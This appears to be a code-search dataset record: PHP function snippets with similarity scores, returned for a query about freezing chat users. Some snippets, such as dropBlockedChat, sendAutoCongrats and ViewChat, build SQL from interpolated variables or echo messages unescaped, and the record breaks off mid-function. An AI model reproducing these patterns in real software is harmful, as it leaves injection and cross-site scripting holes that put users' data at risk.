[ { "docid": "52fc86a57f2026a1cf025d5d1d596397", "score": "0.53800577", "text": "public function freeze($freeze = '1', $gid = '', $userID = 0)\n {\n $this->dao->update(TABLE_IM_CHATUSER)\n ->set('freeze')->eq($freeze)\n ->where('cgid')->eq($gid)\n ->andWhere('user')->eq($userID)\n ->exec();\n\n return !dao::isError();\n }", "title": "" } ]
[ { "docid": "a2721f869f54ffb9b9abf1591fc79709", "score": "0.62331706", "text": "private function unFreeze()\n {\n $this->isFrozen = false;\n $this->isReplay = null;\n\n foreach (static::schema()->getFields() as $field) {\n if ($field->getType()->isMessage()) {\n /** @var self $value */\n $value = $this->get($field->getName());\n if (empty($value)) {\n continue;\n }\n\n if ($value instanceof Message) {\n $value->unFreeze();\n continue;\n }\n\n /** @var self $v */\n foreach ($value as $v) {\n $v->unFreeze();\n }\n }\n }\n }", "title": "" }, { "docid": "fb6e47922c8ce4cab47e2424ffef670e", "score": "0.5610742", "text": "public function freeze()\n {\n $this->isFrozen = true;\n }", "title": "" }, { "docid": "031d38918892e97303e6d956569ef7a0", "score": "0.526181", "text": "public function freezeOrUnFreeze($account)\n {\n if ($account->getCurrency()->isVirtualCurrency()) {\n Console::writeLine('Notice: cannot freeze this account');\n Log::info('Customer freeze virtual account but not permit');\n } else {\n $account->setFreeze(!$account->isFreeze());//reverse, if account is freeze ~> unfreeze or else\n Console::writeLine('Now account ' . $account->getId() . ' is ' . ($account->isFreeze() ? 'freeze' : 'unfreeze'));\n Log::info(($account->isFreeze() ? 'Freeze ' : 'Unfreeze ') . $account->getId() . ' of the customer ' . $this->getId());\n }\n }", "title": "" }, { "docid": "c4b998ea2a90572c31870b13c5ee3901", "score": "0.5188751", "text": "function abbandonaChat($chatID)\n{\n global $MadelineProto;\n $MadelineProto->channels->leaveChannel(['channel' => $chatID]);\n}", "title": "" }, { "docid": "af58228ae67b434f4f4ea2497ef1762b", "score": "0.5183897", "text": "private function guardFrozenMessage()\n {\n if ($this->isFrozen) {\n throw new FrozenMessageIsImmutable($this);\n }\n }", "title": "" }, { "docid": "a81ab777fc987b85cba51e2ce4b86994", "score": "0.5046372", "text": "public function freeze() : void\n {\n $this->isFroozen = true;\n }", "title": "" }, { "docid": "1dab1bb191cf2f176202c366bfdd743a", "score": "0.50400734", "text": "public function isMMSLobbyChat() {\n\t\treturn $this->type == self::TYPE_CHAT && ($this->instance & self::CHAT_INSTANCE_FLAG_MMSLOBBY);\n\t}", "title": "" }, { "docid": "1da77b3867ade6c31805d923c1b744dc", "score": "0.50284135", "text": "public static function freeze($time) { }", "title": "" }, { "docid": "b30166340af35e1804c427354e035d2a", "score": "0.50206953", "text": "public function freeze( $toggle )\n\t{\n\t\tif ( is_array( $toggle ) ) {\n\t\t\t$this->chillList = $toggle;\n\t\t\t$this->isFrozen = FALSE;\n\t\t} else {\n\t\t\t$this->isFrozen = (boolean) $toggle;\n\t\t}\n\n\t\tif ( $this->isFrozen ) {\n\t\t\tif ( !$this->frozenRepository ) {\n\t\t\t\t$this->frozenRepository = new FrozenRepo( $this, $this->writer );\n\t\t\t}\n\n\t\t\t$this->repository = $this->frozenRepository;\n\n\t\t} else {\n\t\t\tif ( !$this->fluidRepository ) {\n\t\t\t\t$this->fluidRepository = new FluidRepo( $this, $this->writer );\n\t\t\t}\n\n\t\t\t$this->repository = $this->fluidRepository;\n\t\t}\n\n\t\tif ( count( self::$sqlFilters ) ) {\n\t\t\tAQueryWriter::setSQLFilters( self::$sqlFilters, ( !$this->isFrozen ) );\n\t\t}\n\n\t}", "title": "" }, { "docid": "4c1b4f735a0672b6daf56b46c6f93e02", "score": "0.49786523", "text": "public function isLobbyChat() {\n\t\treturn $this->type == self::TYPE_CHAT && ($this->instance & self::CHAT_INSTANCE_FLAG_LOBBY);\n\t}", "title": "" }, { "docid": "436081557917280da801d0a55e56f023", "score": "0.49777365", "text": "public function chat_brb(array $chat, Player $player) {\n\t\t$msg = '$ff0[$<' . $player->nickname . '$>] $ff0$iBe Right Back!';\n\t\t$this->maniaControl->chat->sendChat($msg, null, false);\n\t}", "title": "" }, { "docid": "a5a81269009e667402877c9ec0fa6287", "score": "0.4965039", "text": "public function freeze($user_id, $num, $clientID = '')\n {\n }", "title": "" }, { "docid": "2da3b4c16cd3a53104c0dfe1446a3160", "score": "0.4934555", "text": "public function toggleFrozen($freeze = null)\n {\n return false;\n }", "title": "" }, { "docid": "2da3b4c16cd3a53104c0dfe1446a3160", "score": "0.4934555", "text": "public function toggleFrozen($freeze = null)\n {\n return false;\n }", "title": "" }, { "docid": "9c2b23a1a470e1b672c55697d3bfafa4", "score": "0.49266633", "text": "public function freeze()\n {\n if ($this->originalBackend instanceof FreezableBackendInterface) {\n $this->logEntry('freeze');\n $this->originalBackend->freeze();\n }\n }", "title": "" }, { "docid": "37cba057424ec72036e0755e4efb5520", "score": "0.49056378", "text": "function ClearChatHistory()\n {\n }", "title": "" }, { "docid": "eda8054f31ac5f17d1e4356fb0862e5e", "score": "0.48920342", "text": "function freeze()\r\n {\r\n $this->_flagFrozen = true;\r\n return true;\r\n }", "title": "" }, { "docid": "44dc27b448e77d9168821dadf2b13988", "score": "0.4891089", "text": "public function freeze( $tf ) {\n\t\t$this->isFrozen = (bool) $tf;\n\t}", "title": "" }, { "docid": "f0947ac4f084bfde67bc0b135d9f015a", "score": "0.485086", "text": "function PostToChat($datafile, $maxposts, $maxlength, $from, $to, $message, $floodctrl) // Recipe 54\n{\n //\n // This recipe takes the name of a chatroom data file\n // and posts a message to it. If $max messages already\n // exist the oldest one is removed to create room. The\n // arguments required are:\n //\n // $datafile: File in which to store chatroom data\n // $maxposts Maximum number of old messages to retain\n // $maxlength: Maximum length of message\n // $from: Username of message sender\n // $to: Username of message recipient. If blank\n // the message is public and to everyone in\n // the room, otherwise it is private and\n // only the sender and recipient see it.\n // $message: The message to post\n // $floodctrl: If \"on\" do not allow the same message\n // from the same user to be reposted\n //\n // Upon success this recipe returns 1, otherwise it\n // returns -1 if the message could not be posted because\n // the file could not be written to, or 0 if flooding\n // control prevented the message being posted. If the\n // message is empty or either of $from or $to contain\n // a | character (disallowed) then -2 is returned.\n\n if (!file_exists($datafile))\n {\n $data = \"\";\n for ($j = 0 ; $j < $maxposts ; ++$j) $data .= \"$j|||\\n\";\n file_put_contents($datafile, $data);\n }\n\n if ($message == \"\" || strpos($from, '|') ||\n strpos($to, '|')) return -2;\n\n $message = str_replace('|', '&#124;', $message);\n $message = substr($message, 0, $maxlength);\n $fh = fopen($datafile, 'r+');\n if (!$fh) return -1;\n\n flock($fh, LOCK_EX);\n fgets($fh);\n $text = fread($fh, 100000);\n\n if (strtolower($floodctrl) == 'on' &&\n strpos($text, \"|$to|$from|$message\\n\"))\n {\n flock($fh, LOCK_UN);\n fclose($fh);\n return 0;\n }\n\n $lines = explode(\"\\n\", $text);\n $temp = explode('|', $lines[$maxposts - 2]);\n $text .= ($temp[0] + 1) . \"|$to|$from|$message\\n\";\n fseek($fh, 0);\n fwrite($fh, $text);\n ftruncate($fh, strlen($text));\n flock($fh, LOCK_UN);\n fclose($fh);\n return 1;\n}", "title": "" }, { "docid": "2d2c22f09f13069e3e003ce23426bc83", "score": "0.48246086", "text": "public function cooldown_buff_debuff(){\n\t\t\t\n\t\t\t// Buffs\n\t\t\t$tmp_buffs = array();\n\t\t\tforeach ( $this->buffList as $k => $buff ){\n\t\t\t\tif ( $buff[\"turns\"] > 1 ){\n\t\t\t\t\t$buff[\"turns\"]--;\n\t\t\t\t\t//echo \"<br>[cooldown] buff \".BUFF::get_name($buff[\"type\"]).\" : \".($buff[\"turns\"]+1).\" => \".($buff[\"turns\"]);\n\t\t\t\t\tarray_push($tmp_buffs,$buff);\n\t\t\t\t}else{\n\t\t\t\t\t//echo \"<br>[cooldown] buff \".BUFF::get_name($buff[\"type\"]).\" : supprime\";\n\t\t\t\t\t$this->update_buffModifiers(0,1,$buff);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->buffList = $tmp_buffs;\n\t\t\t\n\t\t\t// Debuffs\n\t\t\t$tmp_debuffs = array();\n\t\t\tforeach ( $this->debuffList as $debuff ){\n\t\t\t\tif ( $debuff[\"turns\"] > 1 ){\n\t\t\t\t\t$debuff[\"turns\"]--;\n\t\t\t\t\t//echo \"<br>[cooldown] debuff \".DEBUFF::get_name($debuff[\"type\"]).\" : \".($debuff[\"turns\"]+1).\" => \".($debuff[\"turns\"]);\n\t\t\t\t\tarray_push($tmp_debuffs,$debuff);\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\t// TODO : apply bomb effect here\n\t\t\t\t\t\n\t\t\t\t\t//echo \"<br>[cooldown] debuff \".DEBUFF::get_name($debuff[\"type\"]).\" : supprime\";\n\t\t\t\t\t$this->update_buffModifiers(0,0,$debuff);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->debuffList = $tmp_debuffs;\n\t\t}", "title": "" }, { "docid": "d4cf31cd1ced0f2aa275469a58104d50", "score": "0.46740106", "text": "public function restoreSendingOfMessages(): void\n {\n $this->stopped = false;\n }", "title": "" }, { "docid": "78aa0f5d2c94212d5db5d5b0b1694078", "score": "0.46646902", "text": "public static function freeze($tf = TRUE) {\n }", "title": "" }, { "docid": "e7551d9eeaf0d182a309feafc3917af9", "score": "0.46531263", "text": "public function checkFreeSlotOnChatAnswer() {}", "title": "" }, { "docid": "91432f6d77c66d2920e912f1b6fec20a", "score": "0.4648433", "text": "public function sendBusy()\n {\n fwrite($this->outputStream, self::BUSY . \"\\n\");\n }", "title": "" }, { "docid": "97987fb2cf4fa5413c422e72dcb246f2", "score": "0.46365976", "text": "function ViewChat($datafile, $username, $maxtime) // Recipe 55\n{\n //\n // This recipe takes the name of a chatroom data file\n // and displays the posts in it. The arguments required\n // are:\n //\n // $datafile: File containing chat data\n // $username: The username of the chat viewer\n // $maxtime: Maximum number of seconds the script\n // may run for before returning\n //\n // Upon failure this recipe returns FALSE, otherwise it\n // will return TRUE.\n\n if (!file_exists($datafile)) return FALSE;\n\n set_time_limit($maxtime + 5);\n $tn = time();\n $tstart = \"<table width='100%' border='0'><tr><td \" .\n \"width='15%' align='right'>\";\n $tmiddle = \"</td><td width='85%'>\";\n $tend = \"</td></tr></table><script>scrollBy(0,1000);\" .\n \"</script>\\n\";\n $oldpnum = 0;\n \n while (1)\n {\n $lines = explode(\"\\n\", rtrim(file_get_contents($datafile)));\n\n foreach ($lines as $line)\n {\n $thisline = explode(\"|\", $line);\n $postnum = $thisline[0];\n $to = $thisline[1];\n $from = $thisline[2];\n $message = $thisline[3];\n\n if ($postnum > $oldpnum)\n {\n if ($to == \"\")\n {\n echo \"$tstart$from:$tmiddle$message$tend\";\n }\n elseif ($to == $username || $from == $username)\n {\n echo \"$tstart$from:$tmiddle(PM to $to) \" .\n\t\t\t \"<i>$message</i>$tend\";\n }\n\n $oldpnum = $postnum;\n ob_flush();\n flush();\n }\n }\n \n sleep(2);\n if ((time() - $tn) > $maxtime) return TRUE;\n }\n}", "title": "" }, { "docid": "5ab0e2f313cedfd93f5b9448ce295076", "score": "0.46328193", "text": "function nachricht_betrete($u_id, $r_id, $u_name, $r_name)\n{\n // Aufruf mit Raum-Id, UserName, Raum-Name\n // liefert $back zurück\n global $conn, $farbe_chat_background2, $nachricht_b, $lustigefeatures, $u_farbe;\n global $eintritt_individuell, $eintritt_useranzeige;\n \n // Nachricht Standard\n $text = $nachricht_b[0];\n \n // Nachricht Lustiege ein/austrittsnachrichten\n if ($lustigefeatures) {\n reset($nachricht_b);\n $anzahl = count($nachricht_b);\n $text = $nachricht_b[mt_rand(1, $anzahl) - 1];\n }\n \n // Nachricht auswählen\n if ($eintritt_individuell == \"1\") {\n $query = \"SELECT u_eintritt FROM user where u_id = $u_id\";\n $result = mysql_query($query, $conn);\n $row = mysql_fetch_object($result);\n if (strlen($row->u_eintritt) > 0) {\n $text = stripslashes($row->u_eintritt);\n if ($eintritt_useranzeige == \"1\")\n $text = htmlspecialchars($text) . \" <b>($u_name)</b> \";\n else $text = htmlspecialchars($text) . \" <!-- <b>($u_name)</b> -->\";\n }\n mysql_free_result($result);\n }\n \n $text = str_replace(\"%u_name%\", $u_name, $text);\n $text = str_replace(\"%r_name%\", $r_name, $text);\n \n $text = preg_replace(\"|%nick%|i\", $u_name, $text);\n $text = preg_replace(\"|%raum%|i\", $r_name, $text);\n \n if (strlen($text) == 0)\n $text = $u_name;\n \n // Nachricht im Chat ausgeben; falls Raum moderiert ist, nur HTML-Kommentar ausgeben\n $back = 0;\n if (raum_ist_moderiert($r_id)) {\n $back = system_msg(\"\", 0, $u_id, $u_farbe, \"<B>&gt;&gt;&gt;</b> \"\n . $text);\n } else {\n \n // Spamschutz, verhindert die Eintrittsmeldung, wenn innerhalb von 60 Sek mehr als 15 Systemmiteilungen eingehen...\n \n $sql = \"SELECT count(c_id) as nummer FROM chat WHERE c_von_user = '' and c_typ='S' and c_raum ='$r_id' and c_zeit > '\"\n . date(\"YmdHis\", date(\"U\") - 60) . \"'\";\n $result = mysql_query($sql);\n $num = mysql_fetch_array($result);\n $num = $num['nummer'];\n if ($num < 15)\n $back = global_msg($u_id, $r_id, \"<B>&gt;&gt;&gt;</b> \" . $text);\n }\n \n return $back;\n}", "title": "" }, { "docid": "bf3eb22ec30914295734a145b5b36ed0", "score": "0.46079233", "text": "public function send_chat()\n\t{\n\t\t$my_id = Input::get('my_id');\n\t\t$to_room = Input::get('to_room');\n\t\t$message = Input::get('message');\n\t\t\n\t\t$chat = new Chats;\n\t\t$chat->sender_id = $my_id;\n\t\t$chat->room_id = $to_room;\n\t\t$chat->text = $message;\n\t\t$chat->save();\n\t}", "title": "" }, { "docid": "d9c6e75f05e7945d7d4655baf580915a", "score": "0.4605169", "text": "public function actionChatStart()\n {\n if(Yii::app()->user->type == 'reader')\n $this->redirect(Yii::app()->params['http_addr'].'users/mainmenu');\n if(isset($_GET['waiting_fail'])){\n $this->layout = $this->without_left_menu;\n $reader = Readers::getReader($_GET['reader_id']);\n $client = Clients::getClient($_GET['client_id']);\n //send email to reader\n // byt how we know reader language ? by ashumilo\n $date = date(\"d/m/Y\");\n $time = date(\"H:i:s\");\n $subject = \"\".$client->login.\" tried to chat w/you!\";\n $text = 'DATE: '.$date.\"<br>\\r\\n\".\n 'TIME: '.$time.\"<br>\\r\\n\".\n $reader->name.' : Please do the following now:'.\"<br>\\r\\n\".\n 'Send this client an email telling them to reboot, try the Eroom or switch to FireFox'.\"<br>\\r\\n\".\n 'And that you are also rebooting now as well.'.\"<br>\\r\\n\".\n 'Let them know when to expect you to be back onling & available to chat.'.\"<br>\\r\\n\".\"<br>\\r\\n\".\n 'If they do not appear on your client list - then please only reboot'.\"<br>\\r\\n\".\n 'We will inform them of the other things to do via email (automatically)'.\"<br>\\r\\n\".\"<br>\\r\\n\".\n 'Remeber- you should also reboot now as quickly as possible!'.\"<br>\\r\\n\";\n PsyMailer::send($reader->emailaddress, $subject, $text);\n\n //send email to admin\n $date = date(\"d/m/Y\");\n $time = date(\"H:i:s\");\n $subject = \"\".$client->login.\" aborted chat w/\".$reader->name.\"!\";\n\n $text = 'DATE: '.$date.\"<br>\\r\\n\".\n 'TIME: '.$time.\"<br>\\r\\n\".\n (!empty($_SERVER['HTTP_USER_AGENT'])? 'Client browser: '.$_SERVER['HTTP_USER_AGENT'] : '').\"<br>\\r\\n\";\n PsyMailer::send(Yii::app()->params['adminEmail'], $subject, $text);\n\n //send email to client\n $subject = \"Your chat attempt failed\";\n $text = 'Reader was: '.$reader->name.\"<br>\\r\\n\".\n 'DATE: '.$date.\"<br>\\r\\n\".\n 'TIME: '.$time.\"<br>\\r\\n\".\n 'Dear '.$client->login.\"<br>\\r\\n\".\n 'We\\'re sorry your recent attempt to chat with: '.$reader->name.' has failed:'.\"<br>\\r\\n\".\n 'Please do the following:'.\"<br>\\r\\n\".\n '1) reboot your computer'.\"<br>\\r\\n\".\n '2) try again but use FireFox or Google Chrome- if your previous attempt was with IE'.\"<br>\\r\\n\".\n '3) you might want to try our Emergency Chatroom (link is found on the chat log on page)'.\"<br>\\r\\n\".\n 'Please also note:'.\"<br>\\r\\n\".\n 'Your reader is rebooting now as well- so if you see them off-line: please be patient and wait for them to return'.\"<br>\\r\\n\".\n '4) You might want to also try another Reader'.\"<br>\\r\\n\".\n '5) Please check your email now for a message from the Reader'.\"<br>\\r\\n\".\n 'If you need further assistance please contact support: [email protected]'.\"<br>\\r\\n\".\n 'Thank you'.\"<br>\\r\\n\".\n Yii::app()->params['siteName'].' Admin';\n PsyMailer::send($client->emailaddress, $subject, $text);\n\n $this->render('chat_waiting', array('waiting_fail' => 1));\n return;\n }\n if(isset($_POST['start'])&&($_POST['reader']<>$_POST['client_id']))\n {\n $request = new ChatRequests();\n $request->reader_id = $_POST['reader'];\n $request->client_id = $_POST['client_id'];\n $request->checkRequest(); // Delete record if exists\n $request->subject = $_POST['subject'].' ('.$_POST['time'].' mins)';\n $request->chat_type = 1; // todo: change chat type to real value (now only type 1 - debug)\n $request->duration = floor($_POST['time']*60);\n\t\t\t\n $request_id = $request->addNewRequest();\n\n /// insert in chat_context table\n\t\t\t/*\n $chatContext = new ChatContext();\n $chatContext->add($request_id, $_POST['client_id'], $_POST['reader'], $_POST['time']*60 );\n\t\t\t*/\n\n $this->layout = $this->without_left_menu;\n $cs=Yii::app()->clientScript;\n $baseUrl=Yii::app()->baseUrl;//$this->module->assetsUrl;\n //$cs->registerScriptFile('http://code.jquery.com/jquery-1.4.2.js');\n\t\t\t///$cs->registerScriptFile($baseUrl.'/js/jquery.ajax_queue.js');\n\n\t\t\t$cs->registerScriptFile(Yii::app()->params['http_addr'].\"/js/jquery-1.4.4-tuned.js\");\n\t\t\t$cs->registerScriptFile(Yii::app()->params['http_addr'].\"/js/command.js\");\n\t\t\t$cs->registerScriptFile(Yii::app()->params['http_addr'].\"/js/util.js\");\n \n $cs->registerScriptFile($baseUrl.'/js/jquery.json-2.2.js');\n\n $this->render('chat_waiting',\n array('reader_id' => $_POST['reader'],\n 'client_id' => $_POST['client_id'],\n 'subject' => $_POST['subject'].' ('.$_POST['time'].' mins)',\n 'request_id' => $request_id\n )); \n return;\n }\n \n $client = Clients::getClient(Yii::app()->user->id);\n\t\t\n if(isset($_GET['gr']))\n $group_id = $_GET['gr'];\n else $group_id = 1; // Default group\n\n // Check if main group reader is online - show only this reader\n // If main group reader is online - select it in list and disable message of favourite reader\n /// @todo: this doesn't work if main reader is set\n $main_group_reader = ReadersVisibility::getMainGroupReader($group_id);\n\n if(!empty($main_group_reader))\n $main_online = Readers::getReaderOnline($main_group_reader);\n \n if(!empty($main_online))\n $main_reader = Readers::getReader($main_group_reader);\n \n ///var_export($main_reader['rr_record_id']);\n // All another readers of current groups\n $readers_online = Readers::getOnlineReadersList($group_id);\n \n $aval = Readers::getOnlineReadersList($group_id);\n if(is_null($readers_online)){\n $this->render('chat_start', array('no_one_readers_online' => 1));\n return;\n }\n $tmp = Yii::app()->user->id;\n $favorite_reader = Clients::getFavoriteReader($tmp);\n \n if(isset($_GET['chat_with']))\n $chat_with = Readers::getReader($_GET['chat_with']);\n\n foreach($aval as $reader) {\n if($reader['rr_record_id'] == $favorite_reader)\n $avaliable = $reader['name'];\n }\n\n $this->render('chat_start', array('client' => $client,\n 'readers_online' => $readers_online,\n 'avaliable' => $avaliable,\n 'favorite_reader' => $favorite_reader,\n 'with' => $chat_with['rr_record_id'],\n 'main_group_reader' => $main_reader));\n }", "title": "" }, { "docid": "8dee918899f6fd4aa3ec2f501ef0ae91", "score": "0.46004152", "text": "public function freeze() {\n $this->frozen = true;\n\n return $this;\n }", "title": "" }, { "docid": "7a214bb895f55df59adff0467c185a3d", "score": "0.45891634", "text": "private function sendMessages(){\r\n\r\n # Check If The Already Have An Ongoing Conversation\r\n # So That We'd Be Able To Update The Current Message 'lst_msg' column\r\n # Delete The Current Last Message To Insert Another One\r\n if($this->Query->count(\"SELECT count(chat_id) FROM chats WHERE user_id_one = '$this->UserId' AND user_id_two = '$this->ChatUserId' OR user_id_one = '$this->ChatUserId' AND user_id_two = '$this->UserId'\") == 1){\r\n\r\n # Since count == 1, Theres Already An Ongoing Conversation\r\n # Delete Then Insert, To Update\r\n if($this->Query->delete(\"DELETE FROM chats WHERE user_id_one = '$this->UserId' AND user_id_two = '$this->ChatUserId' OR user_id_one = '$this->ChatUserId' AND user_id_two = '$this->UserId'\")){\r\n\r\n # Row Deletion Was Successful\r\n $this->text(); # For Insert, Calling An Auxilliary Method For Code Re-Use\r\n\r\n }else{\r\n\r\n # Row Deletion Was Unsuccessful\r\n # Error Reporting\r\n echo json_encode(\r\n array(\r\n \"chats\" => false,\r\n \"message\" => \"Row Deletion Failed\"\r\n )\r\n );\r\n\r\n } #End Of If-Else\r\n\r\n }else{\r\n\r\n # Theres No Ongoing Conversation\r\n # Insert, Signaling The Start Of A New Conversation\r\n $this->text(); # For Insert, Calling An Auxilliary Method For Code Re-Use\r\n } #End Of If-Else\r\n\r\n }", "title": "" }, { "docid": "1d310ef40aaedba2def02118ba0df474", "score": "0.45812285", "text": "function stopChat() {\n @session_start();\n $_SESSION[finder]->stopChat($this->para);\n \n }", "title": "" }, { "docid": "ae26060c72e4999222ca6cea3db36aab", "score": "0.4576746", "text": "function dropBlockedChat($conn, $users, $id){\n $blocked = blockedSearch($conn);\n\n /*\n * Count users and drop \n */\n if (count($users) == 2 && !empty(array_intersect($blocked, $users))){ // If the only users left are blocked by another\n $dropChatSql = \"DROP TABLE \" . $id .\";\"; // Remove table\n $dropChatSql .= \"DELETE FROM chats WHERE id = '\". $id .\"'\"; // Remove chat index\n\n // Delete record of the chat\n if (mysqli_multi_query($conn, $dropChatSql)) {\n echo \"Chat deleted\";\n }else {\n echo \"Error: \" . $dropChatSql . \"<br>\" . $conn->error;\n }\n }\n}", "title": "" }, { "docid": "0876a88efd570aafea481beed20da368", "score": "0.4560081", "text": "public function clearChatLines()\n\t{\n\t\t$this->collChatLines = null; // important to set this to NULL since that means it is uninitialized\n\t}", "title": "" }, { "docid": "f0ba6e41984de6cd167df013ca2191f6", "score": "0.4559411", "text": "function sendAutoCongrats($settedUsername = null)\r\n{\r\n\t$today = date(\"Y-m-d\");\r\n\t\r\n\t$tmpStmt = ($settedUsername != null) ? \"and u.uUsername='$settedUsername'\" : \"\";\r\n\t\r\n\t$query = \"SELECT u.uUsername, u.uPassword, u.uOperator, u.uPhoneNumber, \".\r\n\t \"b.* FROM tblBirthday b, tblUser u WHERE \".\r\n\t\t\t \"b.bDate = '\".$today.\"' and u.uId=b.uId and b.bWasSent='0' and bHasError<>'1' \".$tmpStmt.\" LIMIT 0,1\";\r\n\t\t\t \r\n\t$result = @mysql_query($query);\r\n\t$tmpRt = true; //gonderilesi olanlarin hamisinin gonderildiyini yoxlamaq ucun\r\n\t$rt = false;\r\n\twhile($rows = @mysql_fetch_assoc($result))\r\n\t{\t\r\n\t\t$numberPrefix = substr($rows[\"bReceiverNumber\"],0,2);\r\n\t\t$number = substr($rows[\"bReceiverNumber\"],2);\r\n\t if($rows[\"uOperator\"]==\"Bakcell\")\r\n\t\t{\r\n\t\t\t//bakcell ile gonderirik avtotebriki\r\n\t\t\t$rt = bkLoginAndSendSms($rows[\"uUsername\"], $rows[\"uPassword\"], $numberPrefix, $number, $rows[\"bMessage\"]);\r\n\t\t}\r\n\t\telseif($rows[\"uOperator\"]==\"Azercell\")\r\n\t\t{\r\n\t\t\t//azercell ile gonderirik avtotebriki\r\n\t\t\t$loginPrefix = substr($rows[\"uPhoneNumber\"], 0, 2);\r\n\t\t\t$login = substr($rows[\"uPhoneNumber\"], 2);\r\n\t\t\t$rt = azLoginAndSendSms($loginPrefix, $login, \r\n\t\t\t $rows[\"uPassword\"], $numberPrefix,\r\n\t\t\t\t\t\t\t\t\t$number, $rows[\"bMessage\"]);\r\n\t\t}\r\n\t\tif($rt)\r\n\t\t{\r\n\t\t\t//mesaj gonderildi bunu bazada qeyd edek\r\n\t\t\t@mysql_query(\"UPDATE tblBirthday SET bWasSent='1' WHERE bId=\".$rows[\"bId\"]);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t//logla\r\n\t\t\t//sehv bas verdi\r\n\t\t\t@mysql_query(\"UPDATE tblBirthday SET bHasError='1' WHERE bId=\".$rows[\"bId\"]);\r\n\t\t\t//istifadeciye tebrikinin getmemesi barede xeber vermeye calisaq\r\n\t\t\t$numberPrefix = substr($rows[\"uPhoneNumber\"],0,2);\r\n\t\t\t$number = substr($rows[\"uPhoneNumber\"],2);\r\n\t\t\t$message = \"Salam, sizin \".$rows[\"bReceiverNumber\"].\" nomresine olan mesajiniz gonderilmedi!\";\r\n\t\t if($rows[\"uOperator\"]==\"Bakcell\")\r\n\t\t\t{\r\n\t\t\t\t//bakcell ile gonderirik avtotebriki\r\n\t\t\t\t$hasErRt = bkLoginAndSendSms($rows[\"uUsername\"], $rows[\"uPassword\"], $numberPrefix, $number, $message);\r\n\t\t\t}\r\n\t\t\telseif($rows[\"uOperator\"]==\"Azercell\")\r\n\t\t\t{\r\n\t\t\t\t//azercell ile gonderirik avtotebriki\r\n\t\t\t\t$loginPrefix = substr($rows[\"uPhoneNumber\"], 0, 2);\r\n\t\t\t\t$login = substr($rows[\"uPhoneNumber\"], 2);\r\n\t\t\t\t$hasErRt = azLoginAndSendSms($loginPrefix, $login, \r\n\t\t\t\t $rows[\"uPassword\"], $numberPrefix,\r\n\t\t\t\t\t\t\t\t\t\t$number, $message);\r\n\t\t\t}\r\n\t\t\t//if($hasErRt){ print \"1\"; } else {print \"0\";};\r\n\t\t\t\r\n\t\t}\r\n\t\t//gonderilesi olanlarin hamisinin gonderildiyini yoxlamaq ucun\r\n\t\t$tmpRt = ($tmpRt && $rt);\r\n\t\t\t\t\r\n\t}//while\r\n\t$tmpRt = ($tmpRt && $rt);\r\n\treturn $tmpRt;\r\n}", "title": "" }, { "docid": "bed03df9b97625ffa766d8aeeafa0ce0", "score": "0.4555553", "text": "protected function ForgetSend()\n\t{\n\t\t$this->ResetSend();\n\n\t\t$this->newsletters = array();\n\t\t$this->statids = array();\n\t\t$this->custom_fields_to_replace = array();\n\t\t$this->to_customfields = array();\n\t\t$this->_sending_newsletter = -1;\n\t\t$this->_jobid = 0;\n\t\t$this->_queueid = 0;\n\t\t$this->jobdetails = array();\n\t\t$this->splitcampaign_details = array();\n\t}", "title": "" }, { "docid": "eb8cae5ced48025920388483b5f81114", "score": "0.45262495", "text": "function moderateMessage(&$message, $allow) {\n self::getCleantalk();\n $hash = self::$CT->getCleantalkCommentHash($message);\n $resultMessage = self::$CT->delCleantalkComment($message);\n\n if ($hash != NULL) {\n $ctFbParams = array(\n 'moderate' => array(\n array('msg_hash' => $hash, 'is_allow' => $allow),\n ),\n );\n\n self::ctSendRequest(\n 'send_feedback', $ctFbParams\n );\n }\n\n $message = $resultMessage;\n }", "title": "" }, { "docid": "e2cb160f1819a573449539e11c29f244", "score": "0.44920495", "text": "function SendMessage($chatid,$text,$parsmde,$disable_web_page_preview,$keyboard){\n\tbot('sendMessage',[\n\t'chat_id'=>$chatid,\n\t'text'=>$text,\n\t'parse_mode'=>$parsmde,\n\t'disable_web_page_preview'=>$disable_web_page_preview,\n\t'reply_markup'=>$keyboard\n\t]);\n\t}", "title": "" }, { "docid": "560463d9417365d45caf3fc6df24b4ca", "score": "0.44745243", "text": "public function chat_bgm(array $chat, Player $player) {\n\t\t$msg = '$ff0[$<' . $player->nickname . '$>] $ff0$iBad Game for me :(';\n\t\t$this->maniaControl->chat->sendChat($msg, null, false);\n\t}", "title": "" }, { "docid": "06a144a8657456023a651abf9fb703d0", "score": "0.44481832", "text": "function flush_msg()\r\n\t{\r\n\t\t$this->message_list = '';\r\n\t}", "title": "" }, { "docid": "31147f0b8b11369a9dff37590c0304a4", "score": "0.4417988", "text": "public function deduct_broadcast_credits(){\n\t\t$this->Add_member->deduct_broadcast_credits();\n\t}", "title": "" }, { "docid": "207fb0d964dc376906245816c9d11067", "score": "0.44095874", "text": "public function returnToLobby() {\n\t\t$this->setGamemode(0);\n\t\t$plugin = Skywars::$instance;\n\t\t$this->removeAllEffects();\n\t\t$this->setAllowFlight(false);\n\t\t$this->setAutoJump(true);\n\t\t$this->setOnFire(0);\n\t\t$this->setFoodEnabled(false);\n\t\t$plugin->gadgetManager->applyEffects($this);\n\t\t$this->showNotification(null);\n\t\tif ($plugin->portalTask != null) {\n\t\t\t$plugin->portalTask->spawnToPlayer($this);\n\t\t}\n\t\t$this->getInventory()->clearAll();\n\t\t$this->getInventory()->sendArmorContents($this);\n\t\t$plugin->gadgetManager->addGadgetsToInv($this);\n $this->setStateInLobby();\n\t\tif ($this->currentGame !== null) {\n\t\t\t$this->currentGame->leave($this);\n\t\t\t$this->currentGame = null;\n\t\t}\n\t\t$this->kills = [];\n\t\t$this->killAssists = [];\n\t\t$this->damageList = [];\n\t\t$this->gameStartingPos = -1;\n\t\t$this->isSpectating = false;\n\t\t\n\t\t$plugin->lobbyArea->setAreaFor($this);\n\t\t$plugin->npcManager->respawnNPCs($this);\n\t\t$this->showToAll();\n\t}", "title": "" }, { "docid": "1cb48bf1a9c225a7549ffc205c312c0c", "score": "0.43969673", "text": "public function send() {\n // NOOP\n }", "title": "" }, { "docid": "4fdb1d4b9ab051e3adb763ad4f48eb8d", "score": "0.4396802", "text": "public function send(): void;", "title": "" }, { "docid": "1b019a1106b85c90b3834e15d7f6293d", "score": "0.4386948", "text": "function chatMsgLimit(){\n\treturn 2;\n}", "title": "" }, { "docid": "20bb49fc5aee78ce2eda540f2a237731", "score": "0.4383556", "text": "public static function _detect_disabled_chat( &$portal, 